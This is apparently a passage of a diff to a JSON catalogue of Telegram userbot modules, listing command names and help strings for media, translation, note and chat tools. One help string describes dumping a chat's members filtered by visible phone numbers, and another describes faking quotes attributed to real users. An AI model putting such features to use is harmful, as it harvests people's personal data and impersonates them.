"GeekTG/FTG-Modules/avatar.py": { + "name": "GetPPMod", + "description": null, + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "avacmd": "" + }, + { + "setavacmd": "" + }, + { + "delavacmd": "" + }, + { + "delavascmd": "" + }, + { + "setnamecmd": "" + }, + { + "setbiocmd": "" + }, + { + "setusercmd": "" + } + ], + "new_commands": [ + { + "ava": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "setava": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "delava": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "delavas": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "setname": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "setbio": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + }, + { + "setuser": { + "ru_doc": null, + "en_doc": null, + "doc": null + } + } + ], + "category": [ + "Tools", + "Admin" + ] + }, + "GeekTG/FTG-Modules/translate.py": { + "name": "TranslatorMod", + "description": "Translator Module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "gtrslcmd": "Use it: .gtrsl <what language to translate from> <to which language to translate>\n<text> or .gtrsl <to translate> <reply>; langs" + }, + { + "translatecmd": "Translate text via Yandex Translate" + } + ], + "new_commands": [ + { + "gtrsl": { + "ru_doc": null, + "en_doc": null, + "doc": "Use it: .gtrsl <what language to translate from> <to which language to translate>\n<text> or .gtrsl <to translate> <reply>; langs" + } + }, + { + "translate": { + "ru_doc": null, + "en_doc": null, + "doc": "Translate text via Yandex Translate" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/downloader.py": { + "name": "DownloaderMod", + "description": "Downloader module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "dlrcmd": ".dlr <path/file_name> - download file to server" + }, + { + "ulfcmd": ".ulf <file_name/path> send file from server\n<d> - Delete file after sending" + }, + { + "dltiktokcmd": "TikTok video downloader" + }, + { + "dlfilecmd": "File downloader (small files)" + }, + { + "dlbigfilecmd": "File downloader (big files)" + } + ], + "new_commands": [ + { + "dlr": { + "ru_doc": null, + "en_doc": null, + "doc": ".dlr <path/file_name> - download file to server" + } + }, + { + "ulf": { + "ru_doc": null, + "en_doc": null, + "doc": ".ulf <file_name/path> send file from server\n<d> - Delete file after sending" + } + }, + { + "dltiktok": { + "ru_doc": null, + "en_doc": null, + "doc": "TikTok video downloader" + } + }, + { + "dlfile": { + "ru_doc": null, + "en_doc": null, + "doc": "File downloader (small files)" + } + }, + { + "dlbigfile": { + "ru_doc": null, + "en_doc": null, + "doc": "File downloader (big files)" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/url.py": { + "name": "URlMod", + "description": "URL Module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "ggcmd": ".gg <link or reply_to_link>" + }, + { + "lgtcmd": "Shorten the link using the verylegit.link service" + }, + { + "clckcmd": "Shorten the link using the service clck.ru" + }, + { + "lmgtfycmd": "Use in reply to another message or as .lmgtfy <text>" + }, + { + "nullcmd": "Shorten the link using the nullify service" + } + ], + "new_commands": [ + { + "gg": { + "ru_doc": null, + "en_doc": null, + "doc": ".gg <link or reply_to_link>" + } + }, + { + "lgt": { + "ru_doc": null, + "en_doc": null, + "doc": "Shorten the link using the verylegit.link service" + } + }, + { + "clck": { + "ru_doc": null, + "en_doc": null, + "doc": "Shorten the link using the service clck.ru" + } + }, + { + "lmgtfy": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply to another message or as .lmgtfy <text>" + } + }, + { + "null": { + "ru_doc": null, + "en_doc": null, + "doc": "Shorten the link using the nullify service" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/noterminal.py": { + "name": "noTerminalMod", + "description": "Runs commands", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "noterminalcmd": "Gets the note specified" + }, + { + "noterminatecmd": "Use in reply to send SIGTERM to a process" + }, + { + "nokillcmd": "Use in reply to send SIGKILL to a process" + } + ], + "new_commands": [ + { + "noterminal": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets the note specified" + } + }, + { + "noterminate": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply to send SIGTERM to a process" + } + }, + { + "nokill": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply to send SIGKILL to a process" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/ytdl.py": { + "name": "YtDlMod", + "description": "Youtube-Dl Module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "ripvcmd": ".ripv <link / reply_to_link> - download video" + }, + { + "ripacmd": ".ripa <link / reply_to_link> - download audio" + } + ], + "new_commands": [ + { + "ripv": { + "ru_doc": null, + "en_doc": null, + "doc": ".ripv <link / reply_to_link> - download video" + } + }, + { + "ripa": { + "ru_doc": null, + "en_doc": null, + "doc": ".ripa <link / reply_to_link> - download audio" } } ], "category": [ "Media", - "Fun" + "Chat" ] }, - "Den4ikSuperOstryyPer4ik/Astro-modules/commands_logger.py": { - "name": "HikkaCommandsLoggerMod", - "description": "Hikka Commands Logger", + "GeekTG/FTG-Modules/image_editor.py": { + "name": "ImageEditorMod", + "description": "ImageEditor - Simple tool for working with images", "meta": { "pic": null, - "banner": "https://raw.githubusercontent.com/Den4ikSuperOstryyPer4ik/Astro-modules/main/Banners/HikkaCommandsLogger.jpg", - "developer": "@AstroModules" + "banner": null, + "developer": "@D4n13l3k00" }, "commands": [ { - "watcher": "" + "resizeicmd": ".resizei <w> <h> - Resize image" + }, + { + "rmbgicmd": ".rmbgi - Remove background via AI [Powered by Indian's AI]" + }, + { + "inverticmd": ".inverti - Invert colors" + }, + { + "bwicmd": ".bwi - BlackWhite" + }, + { + "convicmd": ".convi - Sticker to image | Image to sticker" + }, + { + "rotateicmd": ".rotatei <degrees> - Rotate image" + }, + { + "contrasticmd": ".contrasti <float> - Change contrast" + }, + { + "sharpnessicmd": ".sharpnessi <float> - Change sharpness" + }, + { + "brighticmd": ".brighti <float> - Change bright" + }, + { + "coloricmd": ".colori <float> - Change color factor" } ], "new_commands": [ { - "watcher": { + "resizei": { + "ru_doc": null, + "en_doc": null, + "doc": ".resizei <w> <h> - Resize image" + } + }, + { + "rmbgi": { + "ru_doc": null, + "en_doc": null, + "doc": ".rmbgi - Remove background via AI [Powered by Indian's AI]" + } + }, + { + "inverti": { + "ru_doc": null, + "en_doc": null, + "doc": ".inverti - Invert colors" + } + }, + { + "bwi": { + "ru_doc": null, + "en_doc": null, + "doc": ".bwi - BlackWhite" + } + }, + { + "convi": { + "ru_doc": null, + "en_doc": null, + "doc": ".convi - Sticker to image | Image to sticker" + } + }, + { + "rotatei": { + "ru_doc": null, + "en_doc": null, + "doc": ".rotatei <degrees> - Rotate image" + } + }, + { + "contrasti": { + "ru_doc": null, + "en_doc": null, + "doc": ".contrasti <float> - Change contrast" + } + }, + { + "sharpnessi": { + "ru_doc": null, + "en_doc": null, + "doc": ".sharpnessi <float> - Change sharpness" + } + }, + { + "brighti": { + "ru_doc": null, + "en_doc": null, + "doc": ".brighti <float> - Change bright" + } + }, + { + "colori": { + "ru_doc": null, + "en_doc": null, + "doc": ".colori <float> - Change color factor" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/stickers.py": { + "name": "StickersMod", + "description": "Tasks with stickers", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "kangcmd": "Use in reply or with an attached media:\n.kang <pack name> [emojis]\nIf pack is not matched the most recently created will be used instead" + }, + { + "gififycmd": "Convert the replied animated sticker to a GIF" + }, + { + "stextcmd": ".stext <reply to photo>" + } + ], + "new_commands": [ + { + "kang": { + "ru_doc": null, + "en_doc": null, + "doc": "Use in reply or with an attached media:\n.kang <pack name> [emojis]\nIf pack is not matched the most recently created will be used instead" + } + }, + { + "gifify": { + "ru_doc": null, + "en_doc": null, + "doc": "Convert the replied animated sticker to a GIF" + } + }, + { + "stext": { + "ru_doc": null, + "en_doc": null, + "doc": ".stext <reply to photo>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/notexec.py": { + "name": "ExecutorMod", + "description": "Stores global notes (aka snips)", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "notexeccmd": "Gets the note specified" + } + ], + "new_commands": [ + { + "notexec": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets the note specified" + } + } + ], + "category": [ + "Fun", + "Tools" + ] + }, + "GeekTG/FTG-Modules/autoprofile.py": { + "name": "AutoProfileMod", + "description": "Automatic stuff for your profile :P", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "autopfpcmd": "Rotates your profile picture every 60 seconds with x degrees, usage:\n.autopfp <degrees> <remove previous (last pfp)>\n\nDegrees - 60, -10, etc\nRemove last pfp - True/1/False/0, case sensitive" + }, + { + "stopautopfpcmd": "Stop autobio cmd." + }, + { + "autobiocmd": "Automatically changes your account's bio with current time, usage:\n.autobio '<message, time as {time}>'" + }, + { + "stopautobiocmd": "Stop autobio cmd." + }, + { + "autonamecmd": "Automatically changes your Telegram name with current time, usage:\n.autoname '<message, time as {time}>'" + }, + { + "stopautonamecmd": "Stop autoname cmd." + }, + { + "delpfpcmd": "Remove x profile pic(s) from your profile.\n.delpfp <pfps count/unlimited - remove all>" + } + ], + "new_commands": [ + { + "autopfp": { + "ru_doc": null, + "en_doc": null, + "doc": "Rotates your profile picture every 60 seconds with x degrees, usage:\n.autopfp <degrees> <remove previous (last pfp)>\n\nDegrees - 60, -10, etc\nRemove last pfp - True/1/False/0, case sensitive" + } + }, + { + "stopautopfp": { + "ru_doc": null, + "en_doc": null, + "doc": "Stop autobio cmd." + } + }, + { + "autobio": { + "ru_doc": null, + "en_doc": null, + "doc": "Automatically changes your account's bio with current time, usage:\n.autobio '<message, time as {time}>'" + } + }, + { + "stopautobio": { + "ru_doc": null, + "en_doc": null, + "doc": "Stop autobio cmd." + } + }, + { + "autoname": { + "ru_doc": null, + "en_doc": null, + "doc": "Automatically changes your Telegram name with current time, usage:\n.autoname '<message, time as {time}>'" + } + }, + { + "stopautoname": { + "ru_doc": null, + "en_doc": null, + "doc": "Stop autoname cmd." + } + }, + { + "delpfp": { + "ru_doc": null, + "en_doc": null, + "doc": "Remove x profile pic(s) from your profile.\n.delpfp <pfps count/unlimited - remove all>" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/chat.py": { + "name": "ChatMod", + "description": "Чат модуль", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "useridcmd": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + }, + { + "chatidcmd": "Команда .chatid показывает ID чата." + }, + { + "invitecmd": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." + }, + { + "leavecmd": "Используйте команду .leave, чтобы кикнуть себя из чата." + }, + { + "userscmd": "Команда .users <имя>; ничего выводит список всех пользователей в чате." + }, + { + "adminscmd": "Команда .admins показывает список всех админов в чате." + }, + { + "botscmd": "Команда .bots показывает список всех ботов в чате." + }, + { + "commoncmd": "Используй .common <@ или реплай>, чтобы узнать общие чаты с\nпользователем." + }, + { + "chatdumpcmd": ".chatdump <n> <m> <s>\nДамп юзеров чата\n<n> - Получить только пользователей с открытыми номерами\n<m> - Отправить дамп в избранное\n<s> - Тихий дамп" + }, + { + "adduserscmd": "Add members" + }, + { + "reportcmd": "Репорт пользователя за спам." + } + ], + "new_commands": [ + { + "userid": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .userid <@ или реплай> показывает ID выбранного пользователя." + } + }, + { + "chatid": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .chatid показывает ID чата." + } + }, + { + "invite": { + "ru_doc": null, + "en_doc": null, + "doc": "Используйте .invite <@ или реплай>, чтобы добавить пользователя в чат." + } + }, + { + "leave": { + "ru_doc": null, + "en_doc": null, + "doc": "Используйте команду .leave, чтобы кикнуть себя из чата." + } + }, + { + "users": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .users <имя>; ничего выводит список всех пользователей в чате." + } + }, + { + "admins": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .admins показывает список всех админов в чате." + } + }, + { + "bots": { + "ru_doc": null, + "en_doc": null, + "doc": "Команда .bots показывает список всех ботов в чате." + } + }, + { + "common": { + "ru_doc": null, + "en_doc": null, + "doc": "Используй .common <@ или реплай>, чтобы узнать общие чаты с\nпользователем." + } + }, + { + "chatdump": { + "ru_doc": null, + "en_doc": null, + "doc": ".chatdump <n> <m> <s>\nДамп юзеров чата\n<n> - Получить только пользователей с открытыми номерами\n<m> - Отправить дамп в избранное\n<s> - Тихий дамп" + } + }, + { + "addusers": { + "ru_doc": null, + "en_doc": null, + "doc": "Add members" + } + }, + { + "report": { + "ru_doc": null, + "en_doc": null, + "doc": "Репорт пользователя за спам." + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/chatvoicemod.py": { + "name": "ChatVoiceMod", + "description": "Module for working with voicechat", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "cdlcmd": "<reply_to_media> <name: optional> - Download media to server in `dl` folder" + }, + { + "clscmd": "List all files in `dl` folder" + }, + { + "cdelcmd": "<name> - Delete file from `dl` folder" + }, + { + "cplayvcmd": "<link/path/reply_to_video> - Play video in voice chat" + }, + { + "cplayacmd": "<link/path/reply_to_audio> - Play audio in voice chat" + }, + { + "cleavecmd": "Leave" + }, + { + "cmutecmd": "Mute" + }, + { + "cunmutecmd": "Unmute" + }, + { + "cpausecmd": "Pause" + }, + { + "cresumecmd": "Resume" + } + ], + "new_commands": [ + { + "cdl": { + "ru_doc": null, + "en_doc": null, + "doc": "<reply_to_media> <name: optional> - Download media to server in `dl` folder" + } + }, + { + "cls": { + "ru_doc": null, + "en_doc": null, + "doc": "List all files in `dl` folder" + } + }, + { + "cdel": { + "ru_doc": null, + "en_doc": null, + "doc": "<name> - Delete file from `dl` folder" + } + }, + { + "cplayv": { + "ru_doc": null, + "en_doc": null, + "doc": "<link/path/reply_to_video> - Play video in voice chat" + } + }, + { + "cplaya": { + "ru_doc": null, + "en_doc": null, + "doc": "<link/path/reply_to_audio> - Play audio in voice chat" + } + }, + { + "cleave": { + "ru_doc": null, + "en_doc": null, + "doc": "Leave" + } + }, + { + "cmute": { + "ru_doc": null, + "en_doc": null, + "doc": "Mute" + } + }, + { + "cunmute": { + "ru_doc": null, + "en_doc": null, + "doc": "Unmute" + } + }, + { + "cpause": { + "ru_doc": null, + "en_doc": null, + "doc": "Pause" + } + }, + { + "cresume": { + "ru_doc": null, + "en_doc": null, + "doc": "Resume" + } + } + ], + "category": [ + "Chat", + "Media" + ] + }, + "GeekTG/FTG-Modules/demot.py": { + "name": "DemotivatorMod", + "description": "Deotivators", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "demoticmd": "Demotiving photo without compression" + }, + { + "demotcmd": "Demotiving photo" + }, + { + "bottomcmd": "Imposes text in the photo from below" + }, + { + "topcmd": "Imposes text on the photo at the top" + }, + { + "centercmd": "Imposes text on the photo at the center" + }, + { + "demotirandcmd": "Random demotiving photo without compression" + }, + { + "demotrandcmd": "Random demotiving photo" + }, + { + "nqcmd": "Quotes from the message" + }, + { + "mqcmd": "Quotes from the message 2" + } + ], + "new_commands": [ + { + "demoti": { + "ru_doc": null, + "en_doc": null, + "doc": "Demotiving photo without compression" + } + }, + { + "demot": { + "ru_doc": null, + "en_doc": null, + "doc": "Demotiving photo" + } + }, + { + "bottom": { + "ru_doc": null, + "en_doc": null, + "doc": "Imposes text in the photo from below" + } + }, + { + "top": { + "ru_doc": null, + "en_doc": null, + "doc": "Imposes text on the photo at the top" + } + }, + { + "center": { + "ru_doc": null, + "en_doc": null, + "doc": "Imposes text on the photo at the center" + } + }, + { + "demotirand": { + "ru_doc": null, + "en_doc": null, + "doc": "Random demotiving photo without compression" + } + }, + { + "demotrand": { + "ru_doc": null, + "en_doc": null, + "doc": "Random demotiving photo" + } + }, + { + "nq": { + "ru_doc": null, + "en_doc": null, + "doc": "Quotes from the message" + } + }, + { + "mq": { + "ru_doc": null, + "en_doc": null, + "doc": "Quotes from the message 2" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/range.py": { + "name": "RangeMod", + "description": "Provides numbers as in Python range with delay", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "rangecmd": "Iterates over the given range and returns each number in separate message.\nUsage: .range <python_range_args>" + }, + { + "drangecmd": "Iterates over the given range and returns each number in separate message.\nUsage: .drange <delay> <python_range_args>" + }, + { + "countcmd": "Count from 1 to N.\nUsage: .count <delay> <N> or .count <N>" + }, + { + "rcountcmd": "Count from N to 1.\nUsage: .rcount <delay> <N> or .rcount <N>" + } + ], + "new_commands": [ + { + "range": { + "ru_doc": null, + "en_doc": null, + "doc": "Iterates over the given range and returns each number in separate message.\nUsage: .range <python_range_args>" + } + }, + { + "drange": { + "ru_doc": null, + "en_doc": null, + "doc": "Iterates over the given range and returns each number in separate message.\nUsage: .drange <delay> <python_range_args>" + } + }, + { + "count": { + "ru_doc": null, + "en_doc": null, + "doc": "Count from 1 to N.\nUsage: .count <delay> <N> or .count <N>" + } + }, + { + "rcount": { + "ru_doc": null, + "en_doc": null, + "doc": "Count from N to 1.\nUsage: .rcount <delay> <N> or .rcount <N>" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/tts.py": { + "name": "DttsMod", + "description": "Text to speech module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "levitancmd": "Convert text to speech with levitan voice" + }, + { + "oksanacmd": "Convert text to speech with oksana voice" + }, + { + "yandexcmd": "Convert text to speech with yandex voice" + }, + { + "ttscmd": "Convert text to speech with Google APIs" + } + ], + "new_commands": [ + { + "levitan": { + "ru_doc": null, + "en_doc": null, + "doc": "Convert text to speech with levitan voice" + } + }, + { + "oksana": { + "ru_doc": null, + "en_doc": null, + "doc": "Convert text to speech with oksana voice" + } + }, + { + "yandex": { + "ru_doc": null, + "en_doc": null, + "doc": "Convert text to speech with yandex voice" + } + }, + { + "tts": { + "ru_doc": null, + "en_doc": null, + "doc": "Convert text to speech with Google APIs" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/purge.py": { + "name": "PurgeMod", + "description": "Deletes your messages", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "purgecmd": "Purge from the replied message" + }, + { + "delcmd": "Delete the replied message" + } + ], + "new_commands": [ + { + "purge": { + "ru_doc": null, + "en_doc": null, + "doc": "Purge from the replied message" + } + }, + { + "del": { + "ru_doc": null, + "en_doc": null, + "doc": "Delete the replied message" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/music.py": { + "name": "LyricsMod", + "description": "Sings songs", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "lyricscmd": ".lyrics Song, Artist" + }, + { + "shazamcmd": ".shazam <reply to audio> - распознать трек" + } + ], + "new_commands": [ + { + "lyrics": { + "ru_doc": null, + "en_doc": null, + "doc": ".lyrics Song, Artist" + } + }, + { + "shazam": { + "ru_doc": null, + "en_doc": null, + "doc": ".shazam <reply to audio> - распознать трек" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/video_editor.py": { + "name": "VideoEditorMod", + "description": "Module for working with video", + "meta": { + "pic": null, + "banner": null, + "developer": "@D4n13l3k00" + }, + "commands": [ + { + "xflipvcmd": ".xflipv <reply_to_video> - Flip video by X" + }, + { + "yflipvcmd": ".yflipv <reply_to_video> - Flip video by Y" + }, + { + "bwvcmd": ".bwv <reply_to_video> - BlackWhite" + }, + { + "revvcmd": ".revv <reply_to_video> - Reverse video" + }, + { + "paintvcmd": ".paintv <reply_to_video> - Paint effect" + }, + { + "invertvcmd": ".invertv <reply_to_video> - Invert colors" + }, + { + "rmsvcmd": ".rmsv <reply_to_video> - Remove sound (to gif without compression)" + }, + { + "cutvcmd": ".cutv <int [Default 30]> <reply_to_video> - Cut video" + }, + { + "audvcmd": ".audv <link> <reply_to_video> - Add audio to video" + }, + { + "fpsvcmd": ".fpsv <int [Default 30]> <reply_to_video> - Change fps" + }, + { + "marginvcmd": ".marginv <int [Default 5]> <reply_to_video> - Add marging" + }, + { + "speedvcmd": ".speedv <float [Default 1.5]> <reply_to_video> - Speed" + }, + { + "contrastvcmd": ".contrastv <float [Default 1.5]> <reply_to_video> - Contrast" + }, + { + "lumvcmd": ".lumv <float [Default 25]> <reply_to_video> - Lum" + }, + { + "scalevcmd": ".scalev <float [Default 0.75]> <reply_to_video> - Scale(\"Resize\") video" + } + ], + "new_commands": [ + { + "xflipv": { + "ru_doc": null, + "en_doc": null, + "doc": ".xflipv <reply_to_video> - Flip video by X" + } + }, + { + "yflipv": { + "ru_doc": null, + "en_doc": null, + "doc": ".yflipv <reply_to_video> - Flip video by Y" + } + }, + { + "bwv": { + "ru_doc": null, + "en_doc": null, + "doc": ".bwv <reply_to_video> - BlackWhite" + } + }, + { + "revv": { + "ru_doc": null, + "en_doc": null, + "doc": ".revv <reply_to_video> - Reverse video" + } + }, + { + "paintv": { + "ru_doc": null, + "en_doc": null, + "doc": ".paintv <reply_to_video> - Paint effect" + } + }, + { + "invertv": { + "ru_doc": null, + "en_doc": null, + "doc": ".invertv <reply_to_video> - Invert colors" + } + }, + { + "rmsv": { + "ru_doc": null, + "en_doc": null, + "doc": ".rmsv <reply_to_video> - Remove sound (to gif without compression)" + } + }, + { + "cutv": { + "ru_doc": null, + "en_doc": null, + "doc": ".cutv <int [Default 30]> <reply_to_video> - Cut video" + } + }, + { + "audv": { + "ru_doc": null, + "en_doc": null, + "doc": ".audv <link> <reply_to_video> - Add audio to video" + } + }, + { + "fpsv": { + "ru_doc": null, + "en_doc": null, + "doc": ".fpsv <int [Default 30]> <reply_to_video> - Change fps" + } + }, + { + "marginv": { + "ru_doc": null, + "en_doc": null, + "doc": ".marginv <int [Default 5]> <reply_to_video> - Add marging" + } + }, + { + "speedv": { + "ru_doc": null, + "en_doc": null, + "doc": ".speedv <float [Default 1.5]> <reply_to_video> - Speed" + } + }, + { + "contrastv": { + "ru_doc": null, + "en_doc": null, + "doc": ".contrastv <float [Default 1.5]> <reply_to_video> - Contrast" + } + }, + { + "lumv": { + "ru_doc": null, + "en_doc": null, + "doc": ".lumv <float [Default 25]> <reply_to_video> - Lum" + } + }, + { + "scalev": { + "ru_doc": null, + "en_doc": null, + "doc": ".scalev <float [Default 0.75]> <reply_to_video> - Scale(\"Resize\") video" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/file_uploader.py": { + "name": "FileUploaderMod", + "description": "Uploader", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "x0cmd": "Upload to x0" + }, + { + "telegraphcmd": ".ph <reply photo or video>" + }, + { + "imgurcmd": "Upload to imgur" + } + ], + "new_commands": [ + { + "x0": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload to x0" + } + }, + { + "telegraph": { + "ru_doc": null, + "en_doc": null, + "doc": ".ph <reply photo or video>" + } + }, + { + "imgur": { + "ru_doc": null, + "en_doc": null, + "doc": "Upload to imgur" + } + } + ], + "category": [ + "Chat", + "Tools" + ] + }, + "GeekTG/FTG-Modules/image_tools.py": { + "name": "ImageToolsMod", + "description": "Image tools module", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "llcmd": "Mirror the image" + }, + { + "rrcmd": "Mirror the image" + }, + { + "uucmd": "Mirror the image" + }, + { + "ddcmd": "Mirror the image" + }, + { + "dotifycmd": "Image to RGB dots" + }, + { + "dotificmd": "Image to BW dots" + }, + { + "soapcmd": ".soap <reply to photo>" + }, + { + "pic2packcmd": "Create sticker pack with your photo" + }, + { + "deepcmd": "Deep the image" + } + ], + "new_commands": [ + { + "ll": { + "ru_doc": null, + "en_doc": null, + "doc": "Mirror the image" + } + }, + { + "rr": { + "ru_doc": null, + "en_doc": null, + "doc": "Mirror the image" + } + }, + { + "uu": { + "ru_doc": null, + "en_doc": null, + "doc": "Mirror the image" + } + }, + { + "dd": { + "ru_doc": null, + "en_doc": null, + "doc": "Mirror the image" + } + }, + { + "dotify": { + "ru_doc": null, + "en_doc": null, + "doc": "Image to RGB dots" + } + }, + { + "dotifi": { + "ru_doc": null, + "en_doc": null, + "doc": "Image to BW dots" + } + }, + { + "soap": { + "ru_doc": null, + "en_doc": null, + "doc": ".soap <reply to photo>" + } + }, + { + "pic2pack": { + "ru_doc": null, + "en_doc": null, + "doc": "Create sticker pack with your photo" + } + }, + { + "deep": { + "ru_doc": null, + "en_doc": null, + "doc": "Deep the image" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/notes.py": { + "name": "NotesMod", + "description": "Stores global notes (aka snips)", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "findnotecmd": "Gets the note specified" + }, + { + "notecmd": "Gets the note specified" + }, + { + "delallnotescmd": "Deletes all the saved notes" + }, + { + "savecmd": "Save a new note. Must be used in reply with one parameter (note name)" + }, + { + "delnotecmd": "Deletes a note, specified by note name" + }, + { + "notescmd": "List the saved notes" + } + ], + "new_commands": [ + { + "findnote": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets the note specified" + } + }, + { + "note": { + "ru_doc": null, + "en_doc": null, + "doc": "Gets the note specified" + } + }, + { + "delallnotes": { + "ru_doc": null, + "en_doc": null, + "doc": "Deletes all the saved notes" + } + }, + { + "save": { + "ru_doc": null, + "en_doc": null, + "doc": "Save a new note. Must be used in reply with one parameter (note name)" + } + }, + { + "delnote": { + "ru_doc": null, + "en_doc": null, + "doc": "Deletes a note, specified by note name" + } + }, + { + "notes": { + "ru_doc": null, + "en_doc": null, + "doc": "List the saved notes" + } + } + ], + "category": [ + "Tools", + "Chat" + ] + }, + "GeekTG/FTG-Modules/banwords.py": { + "name": "BanWordsMod", + "description": "Плохие слова.", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "addbwcmd": "Добавить слово в список \"Плохих слов\". Используй: .addbw <слово>." + }, + { + "rmbwcmd": "Удалить слово из список \"Плохих слов\". Используй: .rmbw <слово или all/clearall (по желанию)>.\nall - удаляет все слова из списка.\nclearall - удаляет все сохраненные данные модуля." + }, + { + "bwscmd": "Посмотреть список \"Плохих слов\". Используй: .bws." + }, + { + "bwstatscmd": "Статистика \"Плохих слов\". Используй: .bwstats <clear* (по желанию)>.\n* - сбросить настройки чата." + }, + { + "swbwcmd": "Переключить режим \"Плохих слов\". Используй: .swbw <режим(antimat/kick/ban/mute/none)>, или .swbw limit <кол-во:int>." + } + ], + "new_commands": [ + { + "addbw": { + "ru_doc": null, + "en_doc": null, + "doc": "Добавить слово в список \"Плохих слов\". Используй: .addbw <слово>." + } + }, + { + "rmbw": { + "ru_doc": null, + "en_doc": null, + "doc": "Удалить слово из список \"Плохих слов\". Используй: .rmbw <слово или all/clearall (по желанию)>.\nall - удаляет все слова из списка.\nclearall - удаляет все сохраненные данные модуля." + } + }, + { + "bws": { + "ru_doc": null, + "en_doc": null, + "doc": "Посмотреть список \"Плохих слов\". Используй: .bws." + } + }, + { + "bwstats": { + "ru_doc": null, + "en_doc": null, + "doc": "Статистика \"Плохих слов\". Используй: .bwstats <clear* (по желанию)>.\n* - сбросить настройки чата." + } + }, + { + "swbw": { + "ru_doc": null, + "en_doc": null, + "doc": "Переключить режим \"Плохих слов\". Используй: .swbw <режим(antimat/kick/ban/mute/none)>, или .swbw limit <кол-во:int>." + } + } + ], + "category": [ + "Chat", + "Customization" + ] + }, + "GeekTG/FTG-Modules/squotes.py": { + "name": "ShitQuotesMod", + "description": "Quotes by @sh1tchannel", + "meta": { + "pic": null, + "banner": null + }, + "commands": [ + { + "qcmd": "Сокращение команды .sq" + }, + { + "sqcmd": "Использование:\n\n• .sq <кол-во сообщений> + <реплай> + <!file - скидывает файлом (по желанию)> + <цвет (по желанию)>\n>>> .sq\n>>> .sq 2 #2d2d2d\n>>> .sq red\n>>> .sq !file" + }, + { + "fsqcmd": "Использование:\n\n• .fsq <@ или ID> + <текст> - квота от юзера с @ или ID + указанный текст\n>>> .fsq @onetimeusername Вам пизда\n\n• .fsq <реплай> + <текст> - квота от юзера с реплая + указанный текст\n>>> .fsq Я лох\n\n• .fsq <@ или ID> + <текст> + -r + <@ или ID> + <текст> - квота с фейковым реплаем\n>>> .fsq @Fl1yd спасибо -r @onetimeusername Ты крутой\n\n• .fsq <@ или ID> + <текст> + -r + <@ или ID> + <текст>; <аргументы> - квота с фейковыми мульти сообщениями\n>>> .fsq @onetimeusername Пацаны из @sh1tchannel, ждите награду за ахуенный ботнет; @guslslakkaakdkab чево; @Fl1yd НАШ БОТНЕТ ЛУЧШИЙ -r @guslslakkaakdkab чево" + }, + { + "sqsetcmd": "Использование:\n\n• .sqset <bg_color/text_color/debug> (<цвет для bg_color/text_color> <True/False для debug>)\n>>> .sqset bg_color #2d2d2d\n>>> .sqset debug true" + } + ], + "new_commands": [ + { + "q": { + "ru_doc": null, + "en_doc": null, + "doc": "Сокращение команды .sq" + } + }, + { + "sq": { + "ru_doc": null, + "en_doc": null, + "doc": "Использование:\n\n• .sq <кол-во сообщений> + <реплай> + <!file - скидывает файлом (по желанию)> + <цвет (по желанию)>\n>>> .sq\n>>> .sq 2 #2d2d2d\n>>> .sq red\n>>> .sq !file" + } + }, + { + 